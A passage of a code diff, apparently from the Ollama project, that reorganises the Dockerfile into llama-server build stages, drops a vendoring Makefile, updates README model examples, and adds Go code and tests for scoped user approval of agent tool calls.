-    },
-    {
-      "name": "MLX CUDA 12",
-      "targets": [ "mlx", "mlxc" ],
-      "configurePreset": "MLX CUDA 12"
-    },
-    {
-      "name": "MLX CUDA 13",
-      "targets": [ "mlx", "mlxc" ],
-      "configurePreset": "MLX CUDA 13"
+      "name": "MLX Metal",
+      "targets": [ "ollama-mlx-backends" ],
+      "configurePreset": "MLX Metal"
     }
   ]
 }

Dockerfile

@@ -37,113 +37,171 @@ RUN dnf install -y unzip \
 ENV CMAKE_GENERATOR=Ninja
 ENV LDFLAGS=-s
 
-FROM base AS cpu
+#
+# GPU toolchain stages — provide compilers for llama-server GPU builds
+#
+
+FROM base AS cpu-deps
 RUN dnf install -y gcc-toolset-11-gcc gcc-toolset-11-gcc-c++
 ENV PATH=/opt/rh/gcc-toolset-11/root/usr/bin:$PATH
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'CPU' \
-        && cmake --build --preset 'CPU' -- -l $(nproc) \
-        && cmake --install build --component CPU --strip
 
-FROM base AS cuda-11
-ARG CUDA11VERSION=11.8
-RUN dnf install -y cuda-toolkit-${CUDA11VERSION//./-}
-ENV PATH=/usr/local/cuda-11/bin:$PATH
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'CUDA 11' \
-        && cmake --build --preset 'CUDA 11' -- -l $(nproc) \
-        && cmake --install build --component CUDA --strip
-
-FROM base AS cuda-12
+FROM base AS cuda-12-deps
 ARG CUDA12VERSION=12.8
 RUN dnf install -y cuda-toolkit-${CUDA12VERSION//./-}
 ENV PATH=/usr/local/cuda-12/bin:$PATH
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'CUDA 12' \
-        && cmake --build --preset 'CUDA 12' -- -l $(nproc) \
-        && cmake --install build --component CUDA --strip
 
-
-FROM base AS cuda-13
+FROM base AS cuda-13-deps
 ARG CUDA13VERSION=13.0
 RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-}
 ENV PATH=/usr/local/cuda-13/bin:$PATH
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'CUDA 13' \
-        && cmake --build --preset 'CUDA 13' -- -l $(nproc) \
-        && cmake --install build --component CUDA --strip
 
+FROM base AS rocm-7-deps
+ENV PATH=/opt/rocm/llvm/bin:/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:$PATH
 
-FROM base AS rocm-7
-ENV PATH=/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:/opt/rocm/hcc/bin:$PATH
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'ROCm 7' \
-        && cmake --build --preset 'ROCm 7' -- -l $(nproc) \
-        && cmake --install build --component HIP --strip
-RUN rm -f dist/lib/ollama/rocm/rocblas/library/*gfx90[06]*
-
-FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
-ARG CMAKEVERSION
-ARG NINJAVERSION
-RUN apt-get update && apt-get install -y curl ccache unzip \
-    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
-    && curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
-    && unzip /tmp/ninja.zip -d /usr/local/bin \
-    && rm /tmp/ninja.zip
-ENV CMAKE_GENERATOR=Ninja
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'JetPack 5' \
-        && cmake --build --preset 'JetPack 5' -- -l $(nproc) \
-        && cmake --install build --component CUDA --strip
-
-FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
-ARG CMAKEVERSION
-ARG NINJAVERSION
-RUN apt-get update && apt-get install -y curl ccache unzip \
-    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
-    && curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
-    && unzip /tmp/ninja.zip -d /usr/local/bin \
-    && rm /tmp/ninja.zip
-ENV CMAKE_GENERATOR=Ninja
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'JetPack 6' \
-        && cmake --build --preset 'JetPack 6' -- -l $(nproc) \
-        && cmake --install build --component CUDA --strip
-
-FROM base AS vulkan
+FROM base AS vulkan-deps
 ARG VULKANVERSION
 RUN ln -s /usr/bin/python3 /usr/bin/python \
     && wget https://sdk.lunarg.com/sdk/download/${VULKANVERSION}/linux/vulkansdk-linux-x86_64-${VULKANVERSION}.tar.xz -O /tmp/vulkansdk.tar.xz \
     && tar xvf /tmp/vulkansdk.tar.xz -C /tmp \
     && /tmp/${VULKANVERSION}/vulkansdk -j 8 vulkan-headers \
+    && /tmp/${VULKANVERSION}/vulkansdk -j 8 spirv-headers \
     && /tmp/${VULKANVERSION}/vulkansdk -j 8 shaderc \
     && cp -r /tmp/${VULKANVERSION}/x86_64/include/* /usr/local/include/ \
     && cp -r /tmp/${VULKANVERSION}/x86_64/lib/* /usr/local/lib \
+    && cp -r /tmp/${VULKANVERSION}/x86_64/share/* /usr/local/share/ \
     && cp -r /tmp/${VULKANVERSION}/x86_64/bin/* /usr/local/bin/ \
     && rm -rf /tmp/${VULKANVERSION} /tmp/vulkansdk.tar.xz
-COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
+ENV VULKAN_SDK=/usr/local
+
+#
+# llama-server stages — rebuild when LLAMA_CPP_VERSION, llama/server/, or llama/compat/ changes.
+#
+# CPU stage: llama-server + ggml-base + ggml-cpu variants → lib/ollama/
+# GPU stages: GPU backend .so only → lib/ollama/<variant>/
+#
+
+FROM cpu-deps AS llama-server-cpu
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
 RUN --mount=type=cache,target=/root/.ccache \
-    cmake --preset 'Vulkan' \
-        && cmake --build --preset 'Vulkan' -- -l $(nproc) \
-        && cmake --install build --component Vulkan --strip
+    cmake -S llama/server --preset cpu \
+        && cmake --build build/llama-server-cpu -- -l $(nproc) \
+        && cmake --install build/llama-server-cpu --component llama-server --strip \
+        && for lib in \
+            /usr/lib64/libgomp.so* \
+            /usr/lib64/libomp.so* \
+            /opt/rh/gcc-toolset-11/root/usr/lib64/libgomp.so* \
+            /opt/rh/gcc-toolset-11/root/usr/lib64/libomp.so*; do \
+                [ -e "$lib" ] && cp -a "$lib" dist/lib/ollama/ || true; \
+            done
+
+FROM scratch AS publish-llama-server-cpu
+COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
+
+FROM cuda-12-deps AS llama-server-cuda_v12
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset llama_cuda_v12_linux \
+        && cmake --build build/llama-server-cuda_v12 -- -l $(nproc) \
+        && cmake --install build/llama-server-cuda_v12 --component llama-server --strip
+
+FROM scratch AS publish-llama-server-cuda_v12
+COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
+
+FROM cuda-13-deps AS llama-server-cuda_v13
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset llama_cuda_v13_linux \
+        && cmake --build build/llama-server-cuda_v13 -- -l $(nproc) \
+        && cmake --install build/llama-server-cuda_v13 --component llama-server --strip
+
+FROM scratch AS publish-llama-server-cuda_v13
+COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
+
+FROM rocm-7-deps AS llama-server-rocm_v7_2
+ENV CC=clang CXX=clang++
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset rocm_v7_2_linux \
+        && cmake --build build/llama-server-rocm_v7_2 -- -l $(nproc) \
+        && cmake --install build/llama-server-rocm_v7_2 --component llama-server --strip
+RUN rm -f dist/lib/ollama/rocm_v7_2/rocblas/library/*gfx90[06]*
+
+FROM scratch AS publish-llama-server-rocm_v7_2
+COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
+
+FROM vulkan-deps AS llama-server-vulkan
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset vulkan \
+        && cmake --build build/llama-server-vulkan -- -l $(nproc) \
+        && cmake --install build/llama-server-vulkan --component llama-server --strip
+
+FROM scratch AS publish-llama-server-vulkan
+COPY --from=llama-server-vulkan dist/lib/ollama /lib/ollama/
+
+#
+# JetPack stages — self-contained with their own base images
+#
+
+FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
+ARG CMAKEVERSION
+ARG NINJAVERSION
+RUN apt-get update && apt-get install -y curl ccache git unzip \
+    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
+    && curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
+    && unzip /tmp/ninja.zip -d /usr/local/bin \
+    && rm /tmp/ninja.zip
+ENV CMAKE_GENERATOR=Ninja
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset llama_cuda_jetpack5 \
+        && cmake --build build/llama-server-cuda_jetpack5 -- -l $(nproc) \
+        && cmake --install build/llama-server-cuda_jetpack5 --component llama-server --strip
+
+FROM scratch AS publish-llama-server-cuda_jetpack5
+COPY --from=jetpack-5 dist/lib/ollama /lib/ollama/
+
+FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
+ARG CMAKEVERSION
+ARG NINJAVERSION
+RUN apt-get update && apt-get install -y curl ccache git unzip \
+    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
+    && curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
+    && unzip /tmp/ninja.zip -d /usr/local/bin \
+    && rm /tmp/ninja.zip
+ENV CMAKE_GENERATOR=Ninja
+COPY LLAMA_CPP_VERSION .
+COPY llama/server llama/server
+COPY llama/compat llama/compat
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake -S llama/server --preset llama_cuda_jetpack6 \
+        && cmake --build build/llama-server-cuda_jetpack6 -- -l $(nproc) \
+        && cmake --install build/llama-server-cuda_jetpack6 --component llama-server --strip
+
+FROM scratch AS publish-llama-server-cuda_jetpack6
+COPY --from=jetpack-6 dist/lib/ollama /lib/ollama/
+
+#
+# MLX stage
+#
 
 FROM base AS mlx
 ARG CUDA13VERSION=13.0
+ARG OLLAMA_MLX_BUILD_JOBS=
+ARG OLLAMA_MLX_NVCC_THREADS=2
+ARG MLX_CUDA_RAM_MB=
 RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-} \
     && dnf install -y openblas-devel lapack-devel \
     && dnf install -y libcudnn9-cuda-13 libcudnn9-devel-cuda-13 \
@@ -154,7 +212,7 @@ ENV LAPACK_INCLUDE_DIRS=/usr/include/openblas
 ENV CGO_LDFLAGS="-L/usr/local/cuda-13/lib64 -L/usr/local/cuda-13/targets/x86_64-linux/lib/stubs"
 WORKDIR /go/src/github.com/ollama/ollama
 COPY CMakeLists.txt CMakePresets.json .
-COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
+COPY cmake cmake
 COPY x/imagegen/mlx x/imagegen/mlx
 COPY go.mod go.sum .
 COPY MLX_VERSION MLX_C_VERSION .
@@ -170,9 +228,15 @@ RUN --mount=type=cache,target=/root/.ccache \
     && if [ -f /tmp/local-mlx-c/CMakeLists.txt ]; then \
         export OLLAMA_MLX_C_SOURCE=/tmp/local-mlx-c; \
     fi \
-    && cmake --preset 'MLX CUDA 13' -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas \
-        && cmake --build --preset 'MLX CUDA 13' -- -l $(nproc) \
-        && cmake --install build --component MLX --strip
+    && cmake -S . -B build/mlx_cuda_v13 -DOLLAMA_MLX_BACKENDS=cuda_v13 -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas -DCMAKE_CUDA_FLAGS="-t ${OLLAMA_MLX_NVCC_THREADS}" ${MLX_CUDA_RAM_MB:+-DMLX_CUDA_RAM_MB=${MLX_CUDA_RAM_MB}} -DOLLAMA_PAYLOAD_INSTALL_PREFIX=/go/src/github.com/ollama/ollama/dist \
+        && cmake --build build/mlx_cuda_v13 --target ollama-mlx-cuda_v13 -- -l $(nproc) ${OLLAMA_MLX_BUILD_JOBS:+-j ${OLLAMA_MLX_BUILD_JOBS}}
+
+FROM scratch AS publish-mlx
+COPY --from=mlx /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
+
+#
+# Go build
+#
 
 FROM base AS build
 WORKDIR /go/src/github.com/ollama/ollama
@@ -190,38 +254,62 @@ ENV CGO_CXXFLAGS="${CGO_CXXFLAGS}"
 RUN --mount=type=cache,target=/root/.cache/go-build \
     go build -trimpath -buildmode=pie -o /bin/ollama .
 
+FROM scratch AS publish-go
+COPY --from=build /bin/ollama /bin/ollama
+
+#
+# Assembly stages — combine llama-server variants + GPU runtime libs
+#
+
 FROM --platform=linux/amd64 scratch AS amd64
-# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
-COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
-COPY --from=cuda-13 dist/lib/ollama /lib/ollama/
-COPY --from=vulkan  dist/lib/ollama  /lib/ollama/
+COPY --from=llama-server-cpu      dist/lib/ollama /lib/ollama/
+COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
+COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
+COPY --from=llama-server-vulkan   dist/lib/ollama /lib/ollama/
 COPY --from=mlx     /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
 
 FROM --platform=linux/arm64 scratch AS arm64
-# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
-COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
-COPY --from=cuda-13 dist/lib/ollama/ /lib/ollama/
+COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
+COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
+COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
 COPY --from=jetpack-5 dist/lib/ollama/ /lib/ollama/
 COPY --from=jetpack-6 dist/lib/ollama/ /lib/ollama/
 
 FROM scratch AS rocm
-COPY --from=rocm-7 dist/lib/ollama /lib/ollama
+COPY --from=llama-server-cpu  dist/lib/ollama /lib/ollama
+COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama
 
-FROM ${FLAVOR} AS archive
-COPY --from=cpu dist/lib/ollama /lib/ollama
+FROM --platform=linux/amd64 scratch AS amd64-archive
+COPY --from=amd64 /lib/ollama /lib/ollama/
+COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
+
+FROM --platform=linux/arm64 scratch AS arm64-archive
+COPY --from=arm64 /lib/ollama /lib/ollama/
+
+FROM ${TARGETARCH}-archive AS archive
+COPY --from=build /bin/ollama /bin/ollama
+
+FROM ${FLAVOR} AS image-archive
 COPY --from=build /bin/ollama /bin/ollama
 
 FROM ubuntu:24.04
 ARG APT_MIRROR=http://archive.ubuntu.com/ubuntu
-RUN sed -i "s|http://archive.ubuntu.com/ubuntu|$APT_MIRROR|g" /etc/apt/sources.list.d/ubuntu.sources \
+ARG APT_PORTS_MIRROR=http://ports.ubuntu.com/ubuntu-ports
+RUN sed -i \
+        -e "s|http://archive.ubuntu.com/ubuntu|$APT_MIRROR|g" \
+        -e "s|http://ports.ubuntu.com/ubuntu-ports|$APT_PORTS_MIRROR|g" \
+        /etc/apt/sources.list.d/ubuntu.sources \
     && apt-get update \
     && apt-get install -y ca-certificates libvulkan1 libopenblas0 \
-    && sed -i "s|$APT_MIRROR|http://archive.ubuntu.com/ubuntu|g" /etc/apt/sources.list.d/ubuntu.sources \
+    && sed -i \
+        -e "s|$APT_MIRROR|http://archive.ubuntu.com/ubuntu|g" \
+        -e "s|$APT_PORTS_MIRROR|http://ports.ubuntu.com/ubuntu-ports|g" \
+        /etc/apt/sources.list.d/ubuntu.sources \
     && apt-get clean \
     && rm -rf /var/lib/apt/lists/*
-COPY --from=archive /bin /usr/bin
+COPY --from=image-archive /bin /usr/bin
 ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
-COPY --from=archive /lib/ollama /usr/lib/ollama
+COPY --from=image-archive /lib/ollama /usr/lib/ollama
 ENV LD_LIBRARY_PATH=/usr/local/nvidia/lib:/usr/local/nvidia/lib64
 ENV NVIDIA_DRIVER_CAPABILITIES=compute,utility
 ENV NVIDIA_VISIBLE_DEVICES=all

LLAMA_CPP_VERSION

@@ -0,0 +1 @@
+b9888

MLX_VERSION

@@ -1 +1 @@
-e8ebdebeeb655feaa85a51f6b24ece5b6d5518d1
+de7b4ed986b6d6f55b8ace5e73c24d1ca0bea89b

Makefile.sync

@@ -1,76 +0,0 @@
-UPSTREAM=https://github.com/ggml-org/llama.cpp.git
-WORKDIR=llama/vendor
-FETCH_HEAD=ec98e2002
-
-.PHONY: help
-help:
-	@echo "Available targets:"
-	@echo "    sync                 Sync with upstream repositories"
-	@echo "    checkout             Checkout upstream repository"
-	@echo "    apply-patches        Apply patches to local repository"
-	@echo "    format-patches       Format patches from local repository"
-	@echo "    clean                Clean local repository"
-	@echo
-	@echo "Example:"
-	@echo "    make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches sync"
-
-.PHONY: sync
-sync: llama/build-info.cpp ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal
-
-llama/build-info.cpp: llama/build-info.cpp.in llama/llama.cpp
-	sed -e 's|@FETCH_HEAD@|$(FETCH_HEAD)|' <$< >$@
-
-ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal: ml/backend/ggml/ggml
-	go generate ./$(@D)
-
-.PHONY: llama/llama.cpp
-llama/llama.cpp: llama/vendor
-	rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /) $@
-
-.PHONY: ml/backend/ggml/ggml
-ml/backend/ggml/ggml: llama/vendor
-	rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /ggml/) $@
-
-PATCHES=$(wildcard llama/patches/*.patch)
-PATCHED=$(join $(dir $(PATCHES)), $(addsuffix ed, $(addprefix ., $(notdir $(PATCHES)))))
-
-.PHONY: apply-patches
-.NOTPARALLEL:
-apply-patches: $(PATCHED)
-
-llama/patches/.%.patched: llama/patches/%.patch
-	@if git -c user.name=nobody -c 'user.email=<>' -C $(WORKDIR) am -3 $(realpath $<); then \
-		touch $@;                                                                           \
-	else                                                                                    \
-		echo "Patch failed. Resolve any conflicts then continue.";                          \
-		echo "1. Run 'git -C $(WORKDIR) am --continue'";                                    \
-		echo "2. Run 'make -f $(lastword $(MAKEFILE_LIST)) format-patches'";                \
-		echo "3. Run 'make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches'";           \
-		exit 1;                                                                             \
-	fi
-
-.PHONY: checkout
-checkout: $(WORKDIR)
-	git -C $(WORKDIR) fetch
-	git -C $(WORKDIR) checkout -f $(FETCH_HEAD)
-
-$(WORKDIR):
-	git clone $(UPSTREAM) $(WORKDIR)
-
-.PHONY: format-patches
-format-patches: llama/patches
-	git -C $(WORKDIR) format-patch \
-		--no-signature \
-		--no-numbered \
-		--zero-commit \
-		-o $(realpath $<) \
-		$(FETCH_HEAD)
-
-.PHONY: clean
-clean: checkout
-	@git -C $(WORKDIR) am --abort || true
-	$(RM) llama/patches/.*.patched
-
-.PHONY: print-base
-print-base:
-	@echo $(FETCH_HEAD)

README.md

@@ -77,10 +77,10 @@ ollama launch openclaw
 
 ### Chat with a model
 
-Run and chat with [Gemma 3](https://ollama.com/library/gemma3):
+Run and chat with [Gemma 4](https://ollama.com/library/gemma4):
 
 ```
-ollama run gemma3
+ollama run gemma4
 ```
 
 See [ollama.com/library](https://ollama.com/library) for the full list.
@@ -93,7 +93,7 @@ Ollama has a REST API for running and managing models.
 
 ```
 curl http://localhost:11434/api/chat -d '{
-  "model": "gemma3",
+  "model": "gemma4",
   "messages": [{
     "role": "user",
     "content": "Why is the sky blue?"
@@ -113,7 +113,7 @@ pip install ollama
 ```python
 from ollama import chat
 
-response = chat(model='gemma3', messages=[
+response = chat(model='gemma4', messages=[
   {
     'role': 'user',
     'content': 'Why is the sky blue?',
@@ -132,7 +132,7 @@ npm i ollama
 import ollama from "ollama";
 
 const response = await ollama.chat({
-  model: "gemma3",
+  model: "gemma4",
   messages: [{ role: "user", content: "Why is the sky blue?" }],
 });
 console.log(response.message.content);

agent/approval.go

@@ -0,0 +1,198 @@
+package agent
+
+import (
+	"context"
+	"strings"
+	"sync"
+)
+
+type ApprovalRequest struct {
+	WorkingDir string
+	Calls      []ApprovalToolCall
+}
+
+func (r *ApprovalRequest) AddToolCall(id, name, scope string, args map[string]any) {
+	r.Calls = append(r.Calls, ApprovalToolCall{
+		ToolCallID:    id,
+		ToolName:      name,
+		Args:          args,
+		ApprovalScope: scope,
+	})
+}
+
+type ApprovalToolCall struct {
+	ToolCallID    string
+	ToolName      string
+	Args          map[string]any
+	ApprovalScope string
+}
+
+type Approval struct {
+	Allow       bool
+	AllowAll    bool
+	AllowScopes []string
+	Reason      string
+}
+
+type ApprovalPrompter interface {
+	PromptApproval(context.Context, ApprovalRequest) (Approval, error)
+}
+
+type ApprovalState struct {
+	mu       sync.RWMutex
+	allowAll bool
+	scopes   map[string]bool
+}
+
+func (s *ApprovalState) Set(allowAll bool, scopes map[string]bool) {
+	if s == nil {
+		return
+	}
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.allowAll = allowAll
+	s.scopes = cloneApprovalScopes(scopes)
+}
+
+// GrantAll grants blanket approval for all future tool calls.
+func (s *ApprovalState) GrantAll() {
+	if s == nil {
+		return
+	}
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.allowAll = true
+}
+
+// AllGranted reports whether blanket approval has been granted.
+func (s *ApprovalState) AllGranted() bool {
+	if s == nil {
+		return false
+	}
+	s.mu.RLock()
+	defer s.mu.RUnlock()
+	return s.allowAll
+}
+
+func (s *ApprovalState) Allows(scope string) bool {
+	if s == nil {
+		return false
+	}
+	s.mu.RLock()
+	defer s.mu.RUnlock()
+	return s.allowAll || s.scopes[scope]
+}
+
+// Apply merges an approval's scopes and allow-all flag into the state. It
+// returns true if the approval grants permission (allow-all or at least one
+// scope). It does not mutate the approval; the caller sets Allow based on the
+// returned value.
+func (s *ApprovalState) Apply(result *Approval) bool {
+	if s == nil || result == nil {
+		return false
+	}
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	granted := false
+	if result.AllowAll {
+		s.allowAll = true
+		granted = true
+	}
+	if len(result.AllowScopes) > 0 {
+		granted = true
+		s.grantScopesLocked(result.AllowScopes)
+	}
+	return granted
+}
+
+// GrantScopes merges the given scopes into the state.
+func (s *ApprovalState) GrantScopes(scopes []string) {
+	if s == nil {
+		return
+	}
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.grantScopesLocked(scopes)
+}
+
+// grantScopesLocked adds trimmed, non-empty scopes to the state. Caller must
+// hold s.mu.
+func (s *ApprovalState) grantScopesLocked(scopes []string) {
+	if s.scopes == nil {
+		s.scopes = make(map[string]bool, len(scopes))
+	}
+	for _, scope := range scopes {
+		scope = strings.TrimSpace(scope)
+		if scope != "" {
+			s.scopes[scope] = true
+		}
+	}
+}
+
+func cloneApprovalScopes(src map[string]bool) map[string]bool {
+	if len(src) == 0 {
+		return nil
+	}
+	dst := make(map[string]bool, len(src))
+	for scope, allowed := range src {
+		if allowed {
+			dst[scope] = true
+		}
+	}
+	return dst
+}
+
+func (s *Session) needsApproval(tool Tool, name string, args map[string]any) bool {
+	return ToolRequiresApproval(tool, args) && !s.allows(toolApprovalScope(tool, name, args))
+}
+
+// allows reports whether scope is permitted by the session's accumulated approval state.
+func (s *Session) allows(scope string) bool {
+	if s == nil || s.ApprovalState == nil {
+		return false
+	}
+	return s.ApprovalState.Allows(scope)
+}
+
+// applyApproval merges an approval result into the session's state and marks
+// the result as allowed when scopes or allow-all were granted.
+func (s *Session) applyApproval(result *Approval) {
+	if s == nil || result == nil {
+		return
+	}
+	if s.ApprovalState == nil {
+		s.ApprovalState = &ApprovalState{}
+	}
+	if s.ApprovalState.Apply(result) {
+		result.Allow = true
+	}
+}
+
+func (s *Session) authorizeToolCalls(ctx context.Context, req ApprovalRequest) (Approval, error) {
+	if s == nil || len(req.Calls) == 0 || (s.ApprovalState != nil && s.ApprovalState.AllGranted()) {
+		return Approval{Allow: true}, nil
+	}
+	if s.ApprovalPrompter == nil {
+		return Approval{
+			Reason: "Tool execution requires approval, but no approval prompter is available.",
+		}, nil
+	}
+
+	result, err := s.ApprovalPrompter.PromptApproval(ctx, req)
+	if err != nil {
+		return Approval{}, err
+	}
+	s.applyApproval(&result)
+	return result, nil
+}
+
+// toolApprovalScope returns the approval scope key for a tool invocation.
+// If the tool implements ScopedTool, its ApprovalScope method determines the
+// scope (e.g. shell tools scope to "<tool>\x00<command>"). Otherwise the scope
+// is the trimmed tool name.
+func toolApprovalScope(tool Tool, toolName string, args map[string]any) string {
+	if scoped, ok := tool.(ScopedTool); ok {
+		return scoped.ApprovalScope(args)
+	}
+	return strings.TrimSpace(toolName)
+}

agent/approval_test.go

@@ -0,0 +1,95 @@
+package agent
+
+import (
+	"context"
+	"strings"
+	"testing"
+
+	"github.com/ollama/ollama/api"
+)
+
+type mockTool struct {
+	name string
+}
+
+func (m mockTool) Name() string        { return m.name }
+func (m mockTool) Description() string { return "" }
+func (m mockTool) Schema() api.ToolFunction {
+	return api.ToolFunction{Name: m.name}
+}
+
+func (m mockTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) {
+	return ToolResult{}, nil
+}
+
+func TestToolApprovalScopeUsesScopedTool(t *testing.T) {
+	shellTool := mockScopedTool{
+		mockTool: mockTool{name: "bash"},
+		scope: func(args map[string]any) string {
+			if cmd, ok := args["command"].(string); ok {
+				cmd = strings.TrimSpace(cmd)
+				if cmd != "" {
+					return "bash\x00" + cmd
+				}
+			}
+			return "bash"
+		},
+	}
+	plainTool := mockTool{name: "edit"}
+
+	tests := []struct {
+		tool Tool
+		name string
+		args map[string]any
+		want string
+	}{
+		{shellTool, "bash", map[string]any{"command": " pwd "}, "bash\x00pwd"},
+		{shellTool, "bash", map[string]any{"command": "Get-ChildItem"}, "bash\x00Get-ChildItem"},
+		{plainTool, "edit", map[string]any{"path": "README.md"}, "edit"},
+	}
+	for _, tt := range tests {
+		if got := toolApprovalScope(tt.tool, tt.name, tt.args); got != tt.want {
+			t.Fatalf("toolApprovalScope(%q) = %q, want %q", tt.name, got, tt.want)
+		}
+	}
+}
+
+type mockScopedTool struct {
+	mockTool
+	scope func(args map[string]any) string
+}
+
+func (m mockScopedTool) ApprovalScope(args map[string]any) string {
+	return m.scope(args)
+}
+
+func TestSessionApplyApprovalScopes(t *testing.T) {
+	session := &Session{}
+	result := Approval{AllowScopes: []string{"edit", "bash\x00pwd", " "}}
+
+	session.applyApproval(&result)
+
+	if !result.Allow {
+		t.Fatal("scoped approval should allow the current request")
+	}
+	if !session.allows("edit") || !session.allows("bash\x00pwd") {
+		t.Fatal("scoped approval was not saved")
+	}
+	if session.allows("bash") || session.allows("bash\x00ls") {
+		t.Fatal("shell approval was too broad")
+	}
+	if session.ApprovalState.AllGranted() {
+		t.Fatal("allow all = true, want false for scoped approval")
+	}
+}
+
+func TestSessionApplyApprovalAllowAll(t *testing.T) {
+	session := &Session{}
+	result := Approval{AllowAll: true}
+
+	session.applyApproval(&result)
+
+	if !result.Allow || !session.allows("anything") {
+		t.Fatalf("allow all = %v result = %#v, want allow all", session.ApprovalState.AllGranted(), result)
+	}
+}

agent/compactor.go

